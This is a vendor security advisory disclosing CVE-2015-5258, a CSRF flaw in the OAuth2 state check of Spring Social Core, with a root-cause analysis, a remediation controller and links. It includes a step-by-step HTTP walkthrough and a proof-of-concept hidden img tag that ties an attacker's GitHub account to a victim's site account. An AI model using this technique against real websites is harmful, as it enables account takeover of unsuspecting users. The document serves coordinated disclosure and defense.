Today we would like to announce the discovery of a vulnerability in the Spring Social Core library. Spring Social provides Java bindings to popular service provider APIs like GitHub, Facebook, Twitter, etc., and is widely used by developers. All current versions (1.0.0.RELEASE to 1.1.2.RELEASE) of the library are affected by this vulnerability.
To exploit this vulnerability, an attacker can initiate a social login request (e.g., Login with GitHub) with the vulnerable website (a website that uses Spring Social for authentication) to generate a URL. This URL, when clicked by another user, associates the attacker's social account with the user's account on the website. Thus, allowing the attacker to login to the user's account using their own social authentication credentials. The attacker can use a variety of techniques to make the user click the URL, either by sharing the URL directly with the user (e.g., through social media) or hiding the URL as an image source or by obfuscating the link.
Given that Spring Social is widely used in Java applications for authentication with different service providers, this vulnerability has a large potential impact. For example, BroadleafCommerce a popular open-source, e-commerce framework uses Spring Social for authentication and has a large install base of websites using the framework. All those websites may be affected by this issue.
The issue was first found by Kris Bosch from Include Security. Paul Ambrosini from SRC:CLR then identified the root cause, vulnerable library and vulnerable code.
Due to the sensitive nature of this issue, we worked on a coordinated disclosure of this vulnerability with Pivotal Software. Pivotal was prompt and swift in fixing the issue and a new version of Spring Social Core was released on Maven Central today. We would request everyone to upgrade to this version in order to prevent this issue in your projects. The code changes can be viewed in this commit.
The CVE assigned for this issue is CVE-2015-5258.
If you are a SourceClear customer you are already protected against this issue. You can use our agent, terminal application, Maven or Gradle plugins to scan and detect this vulnerability in your projects. The full technical write up is below and other details of the vulnerability are also available in our catalog.
Overview
It is possible for an attacker to gain access to a victim's account using a CSRF-style attack against the Spring Social authentication feature. When a victim visits a specific URL that the attacker has crafted, the attackers social account will be tied to the victim's website account. The attacker will then be able to use social authentication to log in to the victim's account.
The issue revolves around the checking of a state
parameter during the OAuth2 connection flow. The attack has been tested against Spring Social Core version 1.1.2.RELEASE. In this example, Spring Social GitHub version 1.0.0.M4 was used but the check occurs in the Spring Social Core code, which means all OAuth2 providers are most likely affected.
This code was added in a pull request on May 3, 2013. Before this, no CSRF-style values were validated during the connection flow and one may assume the issue exists in older versions, but this has not been verified.
Note: This write-up only describes issues in Spring Social Core and uses Spring Social Github and GitHub as examples. It does not discuss any vulnerabilities in GitHub.
Teardown
During the OAuth2 flow, a user is redirected from a website to an authentication provider (such as GitHub) and then back to the original website. During this flow, it's best to use a state
parameter as a CSRF-token. This ensures the values sent back from the authentication provider belong to the user requesting the website setup a social connection with the provider.
By looking at line 164 of ConnectSupport.java in the original commit available at https://github.com/spring-projects/spring-social/pull/99/files#diff-70608b8ccb591906ab2da2dfb17ca3deR164, one can analyze the bug.
The verifyStateParameter
method gathers two state values. The first value, state
, comes from the HTTP request. The second value, originalState
, comes from the user's current session, which was set at the beginning of the connection flow.
The code then checks if the state
parameter is not null and that state
and originalState
values are not equal.
if (state != null && !state.equals(originalState)) {
throw new IllegalStateException("The OAuth2 'state' parameter doesn't match.");
}
In a normal flow, one would expect the state
and originalState
to match and everything to continue on. In an invalid flow, we would expect them to not match and throw an IllegalStateException
.
Checking if the state
parameter is null is the root of the issue in this vulnerability.
state != null
When the state is null, the code will continue past the if
check and not throw an IllegalStateException
. After that, the account from the provider is now associated with the account on the website requesting authentication, regardless of the user requesting this action.
Walkthrough
The attack scenario exists during the OAuth2 flow. Below is a quick overview of the flow and where the state
values are generated. For this example, the vulnerable website will be example.com
and the authentication provider will be github.com
.
An attacker must first generate a URL that the victim's browser will visit. The attacker would most likely create a fake account on github.com
to use for this.
The attacker first requests an OAuth2 connection by making a POST request to example.com
. The request below is asking for user:email access which is one of the scopes that allows the application to access a user's email addresses on GitHub.
POST /api/connect/github HTTP/1.1
Host: example.com
Content-Length: 112
_csrf=12345678-1234-1234-1234-123456789012&scope=user%3Aemail
The response from example.com
will look something like (spaced out URL for better viewing):
HTTP/1.1 302 Found
Location: https://github.com/login/oauth/authorize?client_id=12345678901234567890&response_type=code
&_csrf=12345678-1234-1234-1234-123456789012&redirect_uri=https%3A%2F%2Fexample.com%2Fconnect%2Fgithub
&scope=user%3Aemail&state=22222222-2222-2222-2222-222222222222
Connection: close
In the response above, a state
parameter has been added. This value is added to the redirect and into the users session. At this point, the attacker will go through steps on github.com
to authorize the application to connect to the fake account. An authorize page will load on github.com
and the attacker will click Authorize.
POST /login/oauth/authorize HTTP/1.1
Host: github.com
Content-Length: 376
client_id=12345678901234567890&redirect_uri=https%3A%2F%2Fexample.com%2Fconnect2Fgithub&type=
&state=22222222-2222-2222-2222-222222222222d&scope=user%3Aemail&authorize=1
The response will load some basic HTML which will redirect the user.
HTTP/1.1 200 OK
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta content="origin-when-crossorigin" name="referrer" />
<title>OAuth application authorized</title>
<meta http-equiv="refresh"
content="0;url=https://example.com/connect/github?code=09876543210987654321&
state=22222222-2222-2222-2222-222222222222"
data-url="https://example.com/connect/github?code=09876543210987654321&
state=22222222-2222-2222-2222-222222222222">
<body>
<div class="container">
<div class="blankslate has-fixed-width">
<span class="mega-octicon octicon-flame"></span>
<h3>You are being redirected to the authorized application</h3>
<p>
If your browser does not redirect you back, please <a
href="https://example.com/connect/github?code=09876543210987654321&
state=22222222-2222-2222-2222-222222222222">
click here</a> to continue.
At this point, the attacker should not allow the browser to redirect back to example.com
and capture this URL.
https://example.com/connect/github?code=09876543210987654321&
state=22222222-2222-2222-2222-222222222222
This URL can be stripped of the state
parameter and used to hijack the account.
https://example.com/connect/github?code=09876543210987654321
Proof of Concept Exploit
The URL example at the end of the walkthrough section can be used as a basic CSRF example PoC.
<img src="https://example.com/connect/github?code=09876543210987654321"
width="0" height="0" border="0">
When the victim's browser visits the above URL, the vulnerable website (example.com) will take the supplied code from Github and retrieve the Github.com account info. This account info will be associated with the victims example.com account. After this has occurred, the attacker can freely use social login to login to the victims account on example.com.
Remediation
An updated version of Spring Social Core has been released and is on Maven Central. The code changes can be viewed in this commit. We recommend updating to this version immediately.
If one cannot update their version the instructions below will remediate the issue.
A custom connect controller can be used to fix this issue by checking for a null state
parameter. Example code for this customer controller is included below.
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.social.connect.ConnectionFactoryLocator;
import org.springframework.social.connect.ConnectionRepository;
import org.springframework.social.connect.web.ConnectController;
import org.springframework.util.StringUtils;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.context.request.NativeWebRequest;
import org.springframework.web.servlet.view.RedirectView;
@RequestMapping("/connect")
public class CustomConnectController extends ConnectController {
private final static Logger LOGGER = LoggerFactory.getLogger(CustomConnectController.class);
@Autowired
public CustomConnectController(ConnectionFactoryLocator connectionFactoryLocator,
ConnectionRepository connectionRepository) {
super(connectionFactoryLocator, connectionRepository);
}
@Override
@RequestMapping(value = "/{providerId}", method = RequestMethod.GET, params = "code")
public RedirectView oauth2Callback(@PathVariable String providerId, NativeWebRequest request) {
String state = request.getParameter("state");
if (StringUtils.isEmpty(state)) {
LOGGER.warn("Exception while handling OAuth2 callback due to state parameter being invalid. Redirecting to " + providerId + " connection status page.");
return new RedirectView("/settings/connect?success=false");
}
return super.oauth2Callback(providerId, request);
}
}
Context
Best practices dictate using a CSRF token to prevent attackers from abusing the trust the users browser has in a website. In the case of the OAuth2 flow, the state
parameter acts as a CSRF token or nonce. The field is used as a GET
parameter because the user is redirected between different websites. An example of this flow is OAuth2 : example.com > GitHub.com > example.com flow.
Links
Facebook specifically mentions using a state
parameter to prevent CSRF attacks.
More reading on Cross-site Request Forgery attacks here.
Current code where issues exists: https://github.com/spring-projects/spring-social/blob/1.1.2.RELEASE/spring-social-web/src/main/java/org/springframework/social/connect/web/ConnectSupport.java#L169
JIRA issue about missing a state
parameter: https://jira.spring.io/browse/SOCIAL-299 JIRA issue references this forum post: http://forum.spring.io/forum/spring-projects/web/social/114557-providersignincontroller-and-the-state-parameter-to-prevent-csrf-during-oauth2-dance
Earliest occurrence of attempt to add state
parameter: https://github.com/spring-projects/spring-social/blob/1.1.0.M3/spring-social-web/src/main/java/org/springframework/social/connect/web/ConnectSupport.java#L161